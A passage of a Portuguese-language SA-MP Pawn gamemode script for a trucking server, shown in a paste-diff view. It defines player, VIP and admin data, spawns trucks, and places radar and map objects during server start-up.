View difference between Paste ID: GkXnjK3c and XxYqBGhj
SHOW: | | - or go back to the newest paste.
1
#include      a_samp
2
#include      DOF2
3
#include      zcmd
4
#include      sscanf2
5
#include      streamer
6
#include      a_zone
7
8
9
#define      LOCALSALVO                                   "Truck/Players/%s.ini"
10
#define      VIPSALVO                                     "Truck/Vips/%s.ini"
11
#define      BANSALVO                                     "Truck/Bans/%s.ini"
12
#define      BANCOSALVO                                   "Truck/Banco/%s.ini"
13
#define      MENUSALVO                                    "Truck/Menu/%d.ini"
14
#define      MAX_MENU                                      50
15
#define      MAX_RADAR                                     5
16
#define      VALOR_MIN                                     4
17
#define      ID_OBJ                                        1616
18
// =-=-=-=-=-=-=-=-=-=-=-=-=-=-=  Dialog´s  -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
19
#define      DIALOG_LOGIN                                                      1
20
#define      DIALOG_REGISTRO                                                   2
21
#define      DIALOG_MENU                                                       3
22
#define      DIALOG_ADM                                                        4
23
#define      DIALOG_VIPS                                                       5
24
#define      DIALOG_BAN                                                        6
25
#define      DIALOG_INFOBAN                                                    7
26
#define      DIALOG_WORK                                                       8
27
#define      DIALOG_CSENHA                                                     9
28
#define      DIALOG_RULES                                                     10
29
#define      DIALOG_PMENU                                                     11
30
#define      DIALOG_PMENU1                                                    12
31
#define      DIALOG_PMENU2                                                    13
32
#define      DIALOG_PMENU3                                                    14
33
#define      DIALOG_PMENU4                                                    15
34
#define      DIALOG_BMENU                                                     16
35
#define      DIALOG_BMENU2                                                    17
36
#define      DIALOG_BMENU3                                                    18
37
#define      DIALOG_BMENU4                                                    19
38
// -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
39
// =-=-=-=-=-=-=-=-=-=-=-=-=-=-=  Classes -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
40
#define      TEAM_TRUCK                                                        1
41
#define      TEAM_BUS                                                          2
42
#define      TEAM_COP                                                          3
43
#define      TEAM_PILOT                                                        4
44
#define      TEAM_BOMB                                                         5
45
// -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
46
// =-=-=-=-=-=-=-=-=-=-=-=-=-=-=    Radar     -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
47
enum Ri
48
{
49
   Vel,
50
   Float:PosX,
51
   Float:PosY,
52
   Float:PosZ,
53
   Float:RotX,
54
   Float:RotY,
55
   Float:RotZ
56
}
57
new RadarInfo[MAX_RADAR][Ri] ={
58
{50, 1575.54480, 843.25104,  7.10699,   0.00000, 0.00000, 198.78409},
59
{50, 1797.10754, 1281.21106, 6.17700,   0.00000, 0.00000, 303.55508},
60
{50, 468.98901,  2463.41211, 7.12612,   0.00000, 0.00000, 25.29004},
61
{50, 1217.29907, 1804.95227, 7.06541,   0.00000, 0.00000, 117.86958},
62
{50, 316.02972,  764.41522,  5.76512,   0.00000, 0.00000, 52.20359}
63
};
64
// -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
65
// =-=-=-=-=-=-=-=-=-=-=-=-=-=-=  PlayerText  -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
66
enum pText
67
{
68
	 Text:Local,
69
	 Text:Barrinha,
70
	 Text:Barrinha2,
71
	 Text:Logo0,
72
	 Text:Logo1,
73
	 Text:Logo2,
74
	 Text:Logo3,
75
	 Text:BInf,
76
	 Text:BInf2,
77
	 Text:BInf3,
78
	 Text:BInf4,
79
	 Text:BInf5,
80
	 Text:BInf6,
81
	 Text:BInf7,
82
	 Text:BInf8,
83
	 Text:BInf9,
84
	 Text:BInf10,
85
	 Text:Car1,
86
	 Text:Car2,
87
	 Text:Car3
88
}
89
new PlayerText[MAX_PLAYERS][pText];
90
// =-=-=-=-=-=-=-=-=-=-=-=-=-=-=  PlayerInfo  -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
91
enum pInf
92
{
93
	 bool:Regras,
94
	 bool:pLogado,
95
	 bool:Spawn,
96
	 pAdmin,
97
	 pGrana,
98
	 pScore,
99
	 pLogou,
100
	 pMulta,
101
	 pClass,
102
	 pErrou,
103
	 Float:EntregaX,
104
	 Float:EntregaY,
105
	 Float:EntregaZ,
106
	 pBanco,
107
	 TVel,
108
	 Trab,
109
	 bool:NoVel
110
}
111
new PlayerInfo[MAX_PLAYERS][pInf];
112
// -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
113
// =-=-=-=-=-=-=-=-=-=-=-=-=-=-=  VipInfo  -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
114
enum pI
115
{
116
	 vLevel,
117
	 vDias
118
}
119
new VipInfo[MAX_PLAYERS][pI];
120
// =-=-=-=-=-=-=-=-=-=-=-=-=-=-=  BanInfo  -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
121
enum bI
122
{
123
	 bDias
124
}
125
new BanInfo[MAX_PLAYERS][bI];
126
// =-=-=-=-=-=-=-=-=-=-=-=-=-=-=  Name vip  -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
127
new NameVip[5][50] ={
128
{"Free"},
129
{"Vip Gold"},
130
{"Vip Prata"},
131
{"Vip Ouro"},
132
{"Socio"}
133
};
134
// -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
135
// =-=-=-=-=-=-=-=-=-=-=-=-=-=-=  Calsses2  -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
136
#define MAX_PROFS    5
137
new NomeClasse[MAX_PROFS][30] = {
138
{"Nulo"},
139
{"Caminhoneiro"},
140
{"Motorista de onibus"},
141
{"Policia Militar"},
142
{"Piloto de avião"}
143
};
144
new CorClasses[MAX_PROFS]={
145
0xCCFF33AA,//nulo
146
0xCCFF33AA,
147
0x66FF33AA,
148
0x6699CCAA,
149
0xFFFF99AA
150
};
151
// -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
152
// =-=-=-=-=-=-=-=-=-=-=-=-=-=-=  Adminis.  -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
153
#define    MAX_NIVEL                                                           6
154
new AdmNome[MAX_NIVEL][50] ={
155
{"Civil"},
156
{"Moderador"},
157
{"Ajudante"},
158
{"Master"},
159
{"Master++"},
160
{"Dono"}
161
};
162
// -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
163
// =-=-=-=-=-=-=-=-=-=-=-=-=-=-=  Cord Spawn  -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
164
new Float:STruck[][3]= {
165
{638.26, 1684.12, 5.98},
166
{-535.64, -504.24, 28.39},
167
{-76.10, -1121.13, 3.62}
168
};
169
// -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
170
new Donarquivo[50],
171
	Don[200],
172
	Vips,
173
	JogadoresOn,
174
    DName[MAX_PLAYER_NAME],
175
    DNameID[MAX_PLAYER_NAME],
176
	Float:Pos[3],
177
	VTruck[60],
178
    MenuServer,
179
	Float:Gasolina[MAX_VEHICLES],
180
	Float:Pneu[MAX_VEHICLES],
181
	MinhaVelocidade[MAX_PLAYERS];
182
183
// =-=-=-=-=-=-=-=-=-=-=-=-=-=-=  work  -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
184
enum locs
185
{
186
	Name[50],
187
	Float:X,
188
	Float:Y,
189
	Float:Z,
190
	ParaName[50],
191
	Float:PX,
192
	Float:PY,
193
	Float:PZ
194
};
195
new Locais[][locs] =
196
{
197
	{"Usina", 292.2992, 1416.2694, 10.7145, "24/7", 1348.5021, -1751.2698, 13.9576},
198
	{"Deposito", 1734.0804, 981.7241, 11.4140, "LVA Freight depot", 1721.5757, 711.1726, 11.4241},
199
	{"EasterBasion", -1692.0012, 21.7743, 4.1449, "Doherty", -1882.8525, -202.1867, 16.8491}
200
};
201
new
202
    vehName[][] =
203
    {
204
        "Landstalker","Bravura","Buffalo","Linerunner","Pereniel","Sentinel","Dumper",
205
        "Firetruck","Trashmaster","Stretch","Manana","Infernus","Voodoo","Pony","Mule",
206
        "Cheetah","Ambulancia","Leviathan","Moonbeam","Esperanto","Taxi","Washington",
207
        "Bobcat","Mr Whoopee","BF Injection","Hunter","Premier","Enforcer","Securicar",
208
        "Banshee","Predator","Bus","Rhino","Barracks","Hotknife","Trailer","Previon",
209
        "Coach","Cabbie","Stallion","Rumpo","RC Bandit","Romero","Packer","Monster",
210
        "Admiral","Squalo","Seasparrow","Pizzaboy","Tram","Trailer","Turismo","Speeder",
211
        "Reefer","Tropic","Flatbed","Yankee","Caddy","Solair","Berkley's RC Van",
212
        "Skimmer","PCJ-600","Faggio","Freeway","RC Baron","RC Raider","Glendale",
213
        "Oceanic","Sanchez","Sparrow","Patriot","Quad","Coastguard","Dinghy","Hermes",
214
        "Sabre","Rustler","ZR3 50","Walton","Regina","Comet","BMX","Burrito","Camper",
215
        "Marquis","Baggage","Dozer","Maverick","News Chopper","Rancher","FBI Rancher",
216
        "Virgo","Greenwood","Jetmax","Hotring","Sandking","Blista Compact","Maverick Policial",
217
        "Boxville","Benson","Mesa","RC Goblin","Hotring Racer A","Hotring Racer B",
218
        "Bloodring Banger","Rancher","Super GT","Elegant","Journey","Bike","Mountain Bike",
219
        "Beagle","Cropdust","Stunt","Tanker","RoadTrain","Nebula","Majestic","Buccaneer",
220
        "Shamal","Hydra","FCR-900","NRG-500","HPV1000","Cement Truck","Tow Truck","Fortune",
221
        "Cadrona","FBI Truck","Willard","Forklift","Tractor","Combine","Feltzer","Remington",
222
        "Slamvan","Blade","Freight","Streak","Vortex","Vincent","Bullet","Clover","Sadler",
223
        "Firetruck","Hustler","Intruder","Primo","Cargobob","Tampa","Sunrise","Merit",
224
        "Utility","Nevada","Yosemite","Windsor","Monster A","Monster B","Uranus","Jester",
225
        "Sultan","Stratum","Elegy","Raindance","RC Tiger","Flash","Tahoma","Savanna",
226
        "Bandito","Freight","Trailer","Kart","Mower","Duneride","Sweeper","Broadway",
227
        "Tornado","AT-400","DFT-30","Huntley","Stafford","BF-400","Newsvan","Tug",
228
        "Trailer A","Emperor","Wayfarer","Euros","Hotdog","Club","Trailer B","Trailer C",
229
        "Andromada","Dodo","RC Cam","Launch","Carro Policial(LSPD)","Carro Policial (SFPD)",
230
        "Carro Policial","Police Ranger","Picador","S.W.A.T. Van","Alpha","Phoenix",
231
        "Glendale","Sadler","Luggage Trailer A","Luggage Trailer B","Stair Trailer",
232
        "Boxville","Farm Plow","Utility Trailer"
233
};
234
main()
235
{
236
	print("\n   [SBGames] Viva Caminhoneiros [0.3x]   ");
237
	print("          Criador DonSpeed                 ");
238
	print("     Quem pode cria , quem não pode copia!\n");
239
}
240
public OnGameModeInit()
241
{
242
    DisableInteriorEnterExits();
243
244
	SetGameModeText("VC v1.0");
245
	SendRconCommand("hostname [BVC] Viva Caminhoneiro [New GM]");
246
	
247
	AddPlayerClass(4, 00.00, 0.0, 0.0, 0.0, 0, 0, 0, 0, 0, 0);
248
	AddPlayerClass(21, 00.00, 0.0, 0.0, 0.0, 0, 0, 0, 0, 0, 0);
249
	AddPlayerClass(44, 00.00, 0.0, 0.0, 0.0, 0, 0, 0, 0, 0, 0);
250
	
251
	AddPlayerClass(189, 00.00, 0.0, 0.0, 0.0, 0, 0, 0, 0, 0, 0);
252
	AddPlayerClass(247, 00.00, 0.0, 0.0, 0.0, 0, 0, 0, 0, 0, 0);
253
	AddPlayerClass(255, 00.00, 0.0, 0.0, 0.0, 0, 0, 0, 0, 0, 0);
254
	
255
	AddPlayerClass(280, 00.00, 0.0, 0.0, 0.0, 0, 0, 0, 0, 0, 0);
256
	AddPlayerClass(281, 00.00, 0.0, 0.0, 0.0, 0, 0, 0, 0, 0, 0);
257
	AddPlayerClass(282, 00.00, 0.0, 0.0, 0.0, 0, 0, 0, 0, 0, 0);
258
	
259
	AddPlayerClass(253, 00.00, 0.0, 0.0, 0.0, 0, 0, 0, 0, 0, 0);
260
	AddPlayerClass(299, 00.00, 0.0, 0.0, 0.0, 0, 0, 0, 0, 0, 0);
261
	AddPlayerClass(272, 00.00, 0.0, 0.0, 0.0, 0, 0, 0, 0, 0, 0);
262
	
263
	SetTimer("AutoSalve", 1000*60*20, true);
264
	
265
	//    >>> Spawn 3 caminhoneiro <<<
266
	    CreateDynamicObject(17064, -70.10, -1113.07, -0.32,   356.86, 0.00, 341.25);
267
	
268
	// -=-=-=-=-=-=-=-= VEICULOS DO SERVIDOR -=-=-=-=-=-=-=-=-
269
	    // >>>    Spawn 1 Caminhoneiro  <<<
270
    VTruck [0]  = CreateVehicle(403, 610.9092, 1663.0972, 7.3591, 66.2975, 3, 3, -1);
271
    VTruck [1]  = CreateVehicle(435, 619.9951, 1658.8534, 8.3673, 65.7247, 3, 3, -1);
272
    VTruck [2]  = CreateVehicle(435, 615.4799, 1655.7277, 8.3673, 65.7247, 3, 3, -1);
273
    VTruck [3]  = CreateVehicle(435, 610.7142, 1652.6453, 8.3673, 65.7247, 3, 3, -1);
274
    VTruck [4]  = CreateVehicle(435, 606.1148, 1649.3187, 8.3673, 65.7247, 3, 3, -1);
275
    VTruck [5]  = CreateVehicle(435, 601.4976, 1646.1891, 8.3673, 65.7247, 3, 3, -1);
276
    VTruck [6]  = CreateVehicle(435, 596.8789, 1642.7080, 8.3673, 65.7247, 3, 3, -1);
277
    VTruck [7]  = CreateVehicle(435, 592.1858, 1639.6729, 8.3673, 65.7247, 3, 3, -1);
278
    VTruck [8]  = CreateVehicle(403, 606.2081, 1659.9454, 7.3591, 66.2975, 3, 3, -1);
279
    VTruck [9]  = CreateVehicle(403, 601.2335, 1656.7222, 7.3591, 66.2975, 3, 3, -1);
280
    VTruck [10]  = CreateVehicle(403, 596.9544, 1653.5411, 7.3591, 66.2975, 3, 3, -1);
281
    VTruck [11]  = CreateVehicle(403, 591.9245, 1650.4806, 7.3591, 66.2975, 3, 3, -1);
282
    VTruck [12]  = CreateVehicle(403, 587.2585, 1647.3289, 7.3591, 66.2975, 3, 3, -1);
283
    VTruck [13]  = CreateVehicle(403, 582.4425, 1644.2766, 7.3591, 66.2975, 3, 3, -1);
284
    VTruck [14]  = CreateVehicle(403, 647.8630, 1712.4982, 7.3591, 41.4503, 3, 3, -1);
285
    VTruck [15]  = CreateVehicle(403, 654.0280, 1717.8401, 7.3591, 42.1614, 3, 3, -1);
286
    VTruck [16]  = CreateVehicle(403, 660.4618, 1723.3422, 7.3591, 42.1614, 3, 3, -1);
287
    VTruck [17]  = CreateVehicle(403, 666.4389, 1728.9742, 7.3591, 42.1614, 3, 3, -1);
288
    VTruck [18]  = CreateVehicle(435, 649.9813, 1714.1221, 8.3673, 41.1414, 3, 3, -1);
289
    VTruck [19]  = CreateVehicle(435, 656.1087, 1719.2854, 8.3673, 41.1414, 3, 3, -1);
290
    VTruck [20]  = CreateVehicle(435, 662.3537, 1724.7290, 8.3673, 41.1414, 3, 3, -1);
291
    VTruck [21]  = CreateVehicle(435, 668.6268, 1730.2262, 8.3673, 41.1414, 3, 3, -1);
292
293
    // >>>    Spawn 2 Caminhoneiro  <<<
294
295
    VTruck [22]  = CreateVehicle(435, -484.7935, -472.2285, 25.2929, 177.4756, 3, 3, -1);
296
    VTruck [23]  = CreateVehicle(435, -494.6989, -472.1455, 25.2929, 177.4756, 3, 3, -1);
297
    VTruck [24]  = CreateVehicle(435, -499.8534, -472.1205, 25.2929, 177.4756, 3, 3, -1);
298
    VTruck [25]  = CreateVehicle(435, -509.4786, -472.2892, 25.2929, 177.4756, 3, 3, -1);
299
    VTruck [26]  = CreateVehicle(435, -514.4209, -472.2656, 25.2929, 177.4756, 3, 3, -1);
300
    VTruck [27]  = CreateVehicle(435, -524.5247, -472.3117, 25.2929, 177.4756, 3, 3, -1);
301
    VTruck [28]  = CreateVehicle(435, -529.6434, -472.1931, 25.2929, 177.4756, 3, 3, -1);
302
    VTruck [29]  = CreateVehicle(435, -540.0667, -472.1056, 25.2929, 177.4756, 3, 3, -1);
303
    VTruck [30]  = CreateVehicle(435, -544.5629, -471.9269, 25.2929, 177.4756, 3, 3, -1);
304
    VTruck [31]  = CreateVehicle(435, -554.5548, -472.0948, 25.2929, 177.4756, 3, 3, -1);
305
    VTruck [32]  = CreateVehicle(435, -559.6552, -472.0150, 25.2929, 177.4756, 3, 3, -1);
306
    VTruck [33]  = CreateVehicle(435, -569.2432, -472.0217, 25.2929, 177.4756, 3, 3, -1);
307
    VTruck [34]  = CreateVehicle(435, -479.4317, -472.2294, 25.2929, 177.4756, 3, 3, -1);
308
    VTruck [35]  = CreateVehicle(403, -479.9703, -482.8224, 27.7366, 179.8367, 3, 3, -1);
309
    VTruck [36]  = CreateVehicle(403, -485.0934, -482.7302, 27.7366, 179.8367, 3, 3, -1);
310
    VTruck [37]  = CreateVehicle(403, -495.1448, -482.6364, 27.7366, 179.8367, 3, 3, -1);
311
    VTruck [38]  = CreateVehicle(403, -500.1153, -482.6795, 27.7366, 179.8367, 3, 3, -1);
312
    VTruck [39]  = CreateVehicle(403, -509.8683, -482.8112, 27.7366, 179.8367, 3, 3, -1);
313
    VTruck [40]  = CreateVehicle(403, -514.6307, -482.5740, 27.7366, 179.8367, 3, 3, -1);
314
    VTruck [41]  = CreateVehicle(403, -524.9883, -482.8837, 27.7366, 179.8367, 3, 3, -1);
315
    VTruck [42]  = CreateVehicle(403, -530.2081, -482.8503, 27.7366, 179.8367, 3, 3, -1);
316
    VTruck [43]  = CreateVehicle(403, -540.3690, -482.7215, 27.7366, 179.8367, 3, 3, -1);
317
    VTruck [44]  = CreateVehicle(403, -544.8096, -482.6040, 27.7366, 179.8367, 3, 3, -1);
318
    VTruck [45]  = CreateVehicle(403, -557.0705, -482.4860, 27.7366, 179.8367, 3, 3, -1);
319
    VTruck [46]  = CreateVehicle(403, -568.9108, -482.4659, 27.7366, 179.8367, 3, 3, -1);
320
    VTruck [47]  = CreateVehicle(403, -563.6606, -472.6193, 27.7366, 179.8367, 3, 3, -1);
321
322
    // >>>    Spawn 3 Caminhoneiro  <<<
323
324
    VTruck [48]  = CreateVehicle(435, -27.3139, -1122.9755, 1.3797, 68.6119, 3, 3, -1);
325
    VTruck [49]  = CreateVehicle(435, -29.9341, -1128.5203, 1.3797, 67.4552, 3, 3, -1);
326
    VTruck [50]  = CreateVehicle(435, -32.7423, -1134.7346, 1.3797, 67.4552, 3, 3, -1);
327
    VTruck [51]  = CreateVehicle(435, -35.9270, -1141.6125, 1.3797, 67.4552, 3, 3, -1);
328
    VTruck [52]  = CreateVehicle(435, -39.0612, -1148.4459, 1.3797, 67.4552, 3, 3, -1);
329
    VTruck [53]  = CreateVehicle(435, -42.6933, -1155.0275, 1.3797, 67.4552, 3, 3, -1);
330
    VTruck [54]  = CreateVehicle(403, -52.3019, -1151.0936, 1.4578, 68.0251, 3, 3, -1);
331
    VTruck [55]  = CreateVehicle(403, -48.7955, -1144.5579, 1.4578, 68.0251, 3, 3, -1);
332
    VTruck [56]  = CreateVehicle(403, -45.8419, -1137.6661, 1.4578, 68.0251, 3, 3, -1);
333
    VTruck [57]  = CreateVehicle(403, -42.5769, -1130.7051, 1.4578, 68.0251, 3, 3, -1);
334
    VTruck [58]  = CreateVehicle(403, -39.6876, -1124.4084, 1.4578, 68.0251, 3, 3, -1);
335
    VTruck [59]  = CreateVehicle(403, -37.1033, -1118.8721, 1.4578, 68.0251, 3, 3, -1);
336
    
337
	MenuServer = 0;
338
    for(new i=0; i< MAX_MENU; i++)
339
    {
340
        format(Donarquivo, sizeof(Donarquivo),  MENUSALVO, i);
341
        if(DOF2_FileExists(Donarquivo)){
342
            MenuServer++;
343
            CreatePickup(1274, 1, DOF2_GetFloat(Donarquivo, "X"),DOF2_GetFloat(Donarquivo, "Y"),DOF2_GetFloat(Donarquivo, "Z"), -1);
344
        }
345
    }
346
    for(new x=0; x< MAX_VEHICLES; x++)
347
    {
348
		 Gasolina[x] = 100;
349
		 Pneu[x] = 100;
350
	}
351
	for(new i = 0; i < MAX_RADAR; i++)
352
    {
353
            CreateDynamicObject(ID_OBJ, RadarInfo[i][PosX], RadarInfo[i][PosY], RadarInfo[i][PosZ], RadarInfo[i][RotX], RadarInfo[i][RotY], RadarInfo[i][RotZ], 100.0);
354
    }
355
    SetTimer("DSRadar", 200, true);
356
    
357
        CreateDynamicObject(5170,2868.6992188,-2006.6992188,12.1999998,0.0000000,0.0000000,270.0000000); //object(imnrmpy2_las2) (1)
358
    CreateDynamicObject(3578,2745.5000000,-1122.0000000,67.8000031,0.0000000,0.0000000,60.7489014); //object(dockbarr1_la) (1)
359
    CreateDynamicObject(3578,2748.0000000,-1112.5000000,67.8000031,0.0000000,0.0000000,270.0000000); //object(dockbarr1_la) (6)
360
    CreateDynamicObject(3578,2748.0000000,-1102.4000244,67.8000031,0.0000000,0.0000000,270.0000000); //object(dockbarr1_la) (7)
361
    CreateDynamicObject(3578,2747.0000000,-1092.5000000,67.8000031,0.0000000,0.0000000,281.4971924); //object(dockbarr1_la) (9)
362
    CreateDynamicObject(3578,2745.8999023,-1087.3000488,67.8000031,0.0000000,0.0000000,281.7443848); //object(dockbarr1_la) (11)
363
    CreateDynamicObject(3578,2742.1000977,-1078.3000488,67.7600021,0.0000000,359.5000000,303.7443848); //object(dockbarr1_la) (12)
364
    CreateDynamicObject(3578,2735.3000488,-1070.8000488,67.6999969,0.0000000,359.9945068,321.2352295); //object(dockbarr1_la) (14)
365
    CreateDynamicObject(3578,2726.5000000,-1066.0000000,67.6999969,0.0000000,359.9890137,341.4829102); //object(dockbarr1_la) (13)
366
    CreateDynamicObject(3578,2716.6999512,-1065.0999756,67.6999969,0.0000000,359.9835205,8.4805908); //object(dockbarr1_la) (15)
367
    CreateDynamicObject(1237,2702.0000000,-1060.9000244,68.4000015,0.0000000,0.0000000,0.0000000); //object(strtbarrier01) (3)
368
    CreateDynamicObject(1237,2699.8999023,-1062.1999512,68.3000031,0.0000000,0.0000000,0.0000000); //object(strtbarrier01) (4)
369
    CreateDynamicObject(1237,2697.8999023,-1063.3000488,68.3000031,0.0000000,0.0000000,0.0000000); //object(strtbarrier01) (5)
370
    CreateDynamicObject(1237,2695.8999023,-1064.5000000,68.3000031,0.0000000,0.0000000,0.0000000); //object(strtbarrier01) (6)
371
    CreateDynamicObject(1237,2693.8000488,-1065.6999512,68.3000031,0.0000000,0.0000000,0.0000000); //object(strtbarrier01) (7)
372
    CreateDynamicObject(1237,2704.0000000,-1059.6999512,68.4000015,0.0000000,0.0000000,0.0000000); //object(strtbarrier01) (8)
373
    CreateDynamicObject(1237,2706.3999023,-1058.4000244,68.4000015,0.0000000,0.0000000,0.0000000); //object(strtbarrier01) (9)
374
    CreateDynamicObject(970,2742.8000488,-1098.4000244,69.0999985,0.0000000,0.0000000,270.0000000); //object(fencesmallb) (1)
375
    CreateDynamicObject(970,2742.7998047,-1111.7998047,69.0999985,0.0000000,0.0000000,270.0000000); //object(fencesmallb) (2)
376
    CreateDynamicObject(970,2742.8000488,-1115.9000244,69.0999985,0.0000000,0.0000000,270.0000000); //object(fencesmallb) (3)
377
    CreateDynamicObject(970,2742.8000488,-1120.0000000,69.0999985,0.0000000,0.0000000,270.0000000); //object(fencesmallb) (4)
378
    CreateDynamicObject(970,2742.8000488,-1124.0999756,69.0999985,0.0000000,0.0000000,270.0000000); //object(fencesmallb) (5)
379
    CreateDynamicObject(970,2742.8000488,-1102.5000000,69.0999985,0.0000000,0.0000000,270.0000000); //object(fencesmallb) (7)
380
    CreateDynamicObject(970,2742.3999023,-1094.4000244,69.0999985,0.0000000,0.0000000,281.7500000); //object(fencesmallb) (8)
381
    CreateDynamicObject(970,2741.6000977,-1090.4000244,69.0999985,0.0000000,0.0000000,281.4998779); //object(fencesmallb) (9)
382
    CreateDynamicObject(970,2740.7998047,-1086.3994141,69.0999985,0.0000000,0.0000000,281.4916992); //object(fencesmallb) (10)
383
    CreateDynamicObject(970,2739.3000488,-1082.6999512,69.0400009,0.0000000,0.0000000,303.9971924); //object(fencesmallb) (11)
384
    CreateDynamicObject(970,2737.0000000,-1079.3000488,69.0000000,0.0000000,0.0000000,303.9971924); //object(fencesmallb) (12)
385
    CreateDynamicObject(970,2735.1999512,-1076.5999756,69.0000000,0.0000000,0.0000000,303.9971924); //object(fencesmallb) (13)
386
    CreateDynamicObject(970,2732.3999023,-1073.8000488,69.0000000,0.0000000,0.0000000,325.9971924); //object(fencesmallb) (14)
387
    CreateDynamicObject(970,2729.0000000,-1071.5000000,69.0000000,0.0000000,0.0000000,325.9918213); //object(fencesmallb) (15)
388
    CreateDynamicObject(970,2726.5000000,-1069.8000488,69.0000000,0.0000000,0.0000000,325.9918213); //object(fencesmallb) (16)
389
    CreateDynamicObject(970,2722.8000488,-1068.1999512,69.0000000,0.0000000,0.0000000,347.9918213); //object(fencesmallb) (17)
390
    CreateDynamicObject(970,2719.0000000,-1067.4000244,69.0000000,0.0000000,0.0000000,347.9864502); //object(fencesmallb) (18)
391
    CreateDynamicObject(970,2714.8999023,-1066.5000000,69.0000000,0.0000000,0.0000000,347.4864502); //object(fencesmallb) (19)
392
    CreateDynamicObject(970,2715.0000000,-1065.6999512,69.0000000,0.0000000,0.0000000,7.9810791); //object(fencesmallb) (20)
393
    CreateDynamicObject(970,2719.1000977,-1065.0999756,69.0000000,0.0000000,0.0000000,7.9760742); //object(fencesmallb) (21)
394
    CreateDynamicObject(970,2723.1000977,-1065.4000244,69.0000000,0.0000000,0.0000000,344.4760742); //object(fencesmallb) (22)
395
    CreateDynamicObject(970,2727.0000000,-1066.5999756,69.0000000,0.0000000,0.0000000,341.4708252); //object(fencesmallb) (23)
396
    CreateDynamicObject(970,2743.8000488,-1124.4000244,69.0999985,0.0000000,0.0000000,240.9999542); //object(fencesmallb) (25)
397
    CreateDynamicObject(970,2745.8000488,-1120.8000488,69.0999985,0.0000000,0.0000000,240.9960938); //object(fencesmallb) (26)
398
    CreateDynamicObject(970,2746.6000977,-1119.3000488,69.0999985,0.0000000,0.0000000,240.9960938); //object(fencesmallb) (28)
399
    CreateDynamicObject(996,2694.3000488,-1065.5999756,69.0999985,0.0000000,0.0000000,31.0000000); //object(lhouse_barrier1) (2)
400
    CreateDynamicObject(996,2700.3999023,-1061.9000244,69.0999985,0.0000000,0.0000000,30.9979248); //object(lhouse_barrier1) (3)
401
    CreateDynamicObject(1553,2742.0996094,-1107.3994141,67.2399979,0.0000000,0.0000000,90.0000000); //object(vegasmashfnce_gate) (3)
402
    CreateDynamicObject(1553,2741.3000488,-1107.4000244,67.2399979,0.0000000,0.0000000,90.0000000); //object(vegasmashfnce_gate) (5)
403
    CreateDynamicObject(1553,2740.3999023,-1107.4000244,67.2399979,0.0000000,0.0000000,90.0000000); //object(vegasmashfnce_gate) (6)
404
    CreateDynamicObject(1553,2739.5000000,-1107.4000244,67.2399979,0.0000000,0.0000000,90.0000000); //object(vegasmashfnce_gate) (7)
405
    CreateDynamicObject(1553,2738.6992188,-1107.3994141,67.2399979,0.0000000,0.0000000,90.0000000); //object(vegasmashfnce_gate) (8)
406
    CreateDynamicObject(1553,2737.7998047,-1107.3994141,67.2399979,0.0000000,0.0000000,90.0000000); //object(vegasmashfnce_gate) (9)
407
    CreateDynamicObject(1553,2736.8994141,-1107.3994141,67.2399979,0.0000000,0.0000000,90.0000000); //object(vegasmashfnce_gate) (10)
408
    CreateDynamicObject(1553,2736.0000000,-1107.3994141,67.2399979,0.0000000,0.0000000,90.0000000); //object(vegasmashfnce_gate) (11)
409
    CreateDynamicObject(1553,2735.0996094,-1107.3994141,67.2399979,0.0000000,0.0000000,90.0000000); //object(vegasmashfnce_gate) (12)
410
    CreateDynamicObject(1553,2734.1992188,-1107.3994141,67.2399979,0.0000000,0.0000000,90.0000000); //object(vegasmashfnce_gate) (13)
411
    CreateDynamicObject(1553,2733.2998047,-1107.3994141,67.2399979,0.0000000,0.0000000,90.0000000); //object(vegasmashfnce_gate) (14)
412
    CreateDynamicObject(1257,2743.7998047,-1094.6992188,69.9000015,0.0000000,0.0000000,187.9925690); //object(bustopm) (1)
413
    CreateDynamicObject(1257,2744.6000977,-1112.6999512,69.9000015,0.0000000,0.0000000,179.9945068); //object(bustopm) (2)
414
    CreateDynamicObject(1257,2737.8000488,-1078.0999756,69.8000031,0.0000000,0.0000000,213.9916992); //object(bustopm) (3)
415
    CreateDynamicObject(1229,2748.0000000,-1109.7998047,70.0999985,0.0000000,0.0000000,0.0000000); //object(bussign1) (1)
416
    CreateDynamicObject(1229,2746.6999512,-1091.8000488,70.0999985,0.0000000,0.0000000,14.0000000); //object(bussign1) (2)
417
    CreateDynamicObject(1229,2739.3999023,-1074.3000488,70.0999985,0.0000000,0.0000000,37.9965820); //object(bussign1) (3)
418
    CreateDynamicObject(8843,2747.5000000,-1125.0999756,68.5999985,0.0000000,0.0000000,332.2500000); //object(arrows01_lvs) (1)
419
    CreateDynamicObject(8843,2710.6999512,-1063.4000244,68.5000000,0.0000000,0.0000000,105.2500000); //object(arrows01_lvs) (2)
420
